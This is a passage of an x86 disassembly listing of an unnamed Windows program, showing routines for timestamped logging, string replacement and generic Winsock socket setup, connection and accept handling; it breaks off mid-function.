loc_419AA2:				; CODE XREF: ___:00419ABEj
		cmp	byte ptr [esi],	0
		jz	short loc_419AB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419AC6


loc_419AB2:				; CODE XREF: ___:00419AA5j
		add	esi, 80h
		cmp	esi, offset dword_50AE6C
		jl	short loc_419AA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419AC6:				; CODE XREF: ___:00419AB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419AE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE6C


loc_419AFB:				; CODE XREF: sub_419AE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419B0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419B0F:				; CODE XREF: sub_419AE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E6C
		jge	short loc_419AFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E6C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419AE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419BB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419C21
		mov	[edx+180h], al


loc_419C21:				; CODE XREF: ___:00419C19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419D32


loc_419C3F:				; CODE XREF: ___:00419D25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		call	near ptr 77C47C60h
		nop
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419D00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419D00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419CDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5EE1E5
		add	esp, 14h
		jmp	short loc_419D00
; ---------------------------------------------------------------------------


loc_419CDD:				; CODE XREF: ___:00419CAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5EE1E5
		add	esp, 10h


loc_419D00:				; CODE XREF: ___:00419C8Aj
					; ___:00419C91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419D2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419C3F


loc_419D2B:				; CODE XREF: ___:00419D16j
		mov	esi, [esp+614h]


loc_419D32:				; CODE XREF: ___:00419C39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419DD0:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419DEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419DEE:				; CODE XREF: ___:00419DE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419E39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E39:				; CODE XREF: ___:00419E2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419E51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E51:				; CODE XREF: ___:00419E47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E90:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE2E5


loc_419E98:				; CODE XREF: ___:00419EA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419EAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E55
		jle	short loc_419E98


loc_419EAA:				; CODE XREF: ___:00419E9Bj
		cmp	edi, 13h
		jle	short loc_419EB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419EB4:				; CODE XREF: ___:00419EADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE1EBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5EE1E5
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EE1E5
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419F50	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6775


loc_419F58:				; CODE XREF: sub_419F50+18j
		cmp	dword ptr [eax], 0
		jz	short loc_419F6A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE2E5
		jle	short loc_419F58


loc_419F6A:				; CODE XREF: sub_419F50+Bj
		cmp	edi, 13h
		jle	short loc_419F74
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F74:				; CODE XREF: sub_419F50+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D667Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5EE1E5
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EE1E5
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_419F50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A010	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BB38
		test	eax, eax
		jnz	short loc_41A048
		mov	eax, dword_50BB38
		inc	eax
		mov	dword_50BB38, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A055
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_41A010+19j
		mov	edx, dword_50BB38
		inc	edx
		mov	dword_50BB38, edx


loc_41A055:				; CODE XREF: sub_41A010+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0E0	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A0F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A0F8:				; CODE XREF: sub_41A0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A125
		call	sub_4014DD


loc_41A125:				; CODE XREF: sub_41A110+Ej
		mov	eax, 1
		mov	ecx, dword_50BB38
		cmp	ecx, eax
		jle	short loc_41A140
		mov	eax, dword_50BB38
		dec	eax
		mov	dword_50BB38, eax

locret_41A13F:				; CODE XREF: sub_41A110:loc_41A140j
		retn
; ---------------------------------------------------------------------------


loc_41A140:				; CODE XREF: sub_41A110+22j
		jnz	short locret_41A13F
		mov	ecx, dword_50BB38
		dec	ecx
		mov	dword_50BB38, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A180:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43ACCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A231
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A1B9
		mov	al, 1
		jmp	short loc_41A231
; ---------------------------------------------------------------------------


loc_41A1B9:				; CODE XREF: ___:0041A1B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A231:				; CODE XREF: ___:0041A1A5j
					; ___:0041A1B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A290	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443DD0
		retn
sub_41A290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A2B0	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A2D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A2D0:				; CODE XREF: sub_41A2B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A471
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A30A
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A30A:				; CODE XREF: sub_41A2B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A319
		push	1
		jmp	short loc_41A31B
; ---------------------------------------------------------------------------


loc_41A319:				; CODE XREF: sub_41A2B0+63j
		push	0


loc_41A31B:				; CODE XREF: sub_41A2B0+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A3BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A2B0+D6j
					; sub_41A2B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A46A


loc_41A3BC:				; CODE XREF: sub_41A2B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A430


loc_41A3FB:				; CODE XREF: sub_41A2B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A445
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A414
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A445


loc_41A414:				; CODE XREF: sub_41A2B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A3FB


loc_41A430:				; CODE XREF: sub_41A2B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A461
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A463
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A2B0+152j
					; sub_41A2B0+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A461:				; CODE XREF: sub_41A2B0+189j
		push	0


loc_41A463:				; CODE XREF: sub_41A2B0+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A46A:				; CODE XREF: sub_41A2B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A471:				; CODE XREF: sub_41A2B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A2B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A500	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41A51A:				; CODE XREF: sub_41A500+Cj
					; sub_41A500+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A500	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A540	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A540	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5B0	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A5C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5C6:				; CODE XREF: sub_41A5B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A67F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A5FB
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5FB:				; CODE XREF: sub_41A5B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A654
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A654:				; CODE XREF: sub_41A5B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A678
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A678:				; CODE XREF: sub_41A5B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A67F:				; CODE XREF: sub_41A5B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A5B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6D0	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A6EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A6EE:				; CODE XREF: sub_41A6D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A705
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A705:				; CODE XREF: sub_41A6D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A781
		call	sub_40195B
		test	al, al
		jz	short loc_41A774
		mov	edi, dword_50FC80


loc_41A71E:				; CODE XREF: sub_41A6D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A76B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A781


loc_41A76B:				; CODE XREF: sub_41A6D0+84j
		call	sub_40195B
		test	al, al
		jnz	short loc_41A71E


loc_41A774:				; CODE XREF: sub_41A6D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A781:				; CODE XREF: sub_41A6D0+3Dj
					; sub_41A6D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A7A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A7B6
; ---------------------------------------------------------------------------


loc_41A7A4:				; CODE XREF: sub_41A6D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A7B6:				; CODE XREF: sub_41A6D0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A7D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A6D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A6D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A860	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A860	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A890	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A8C0	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AA24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AA24
		mov	edi, dword_50F8A4
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41A9BC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41A9BC
		call	sub_40195B
		test	al, al
		jz	loc_41A9BC


loc_41A91B:				; CODE XREF: sub_41A8C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
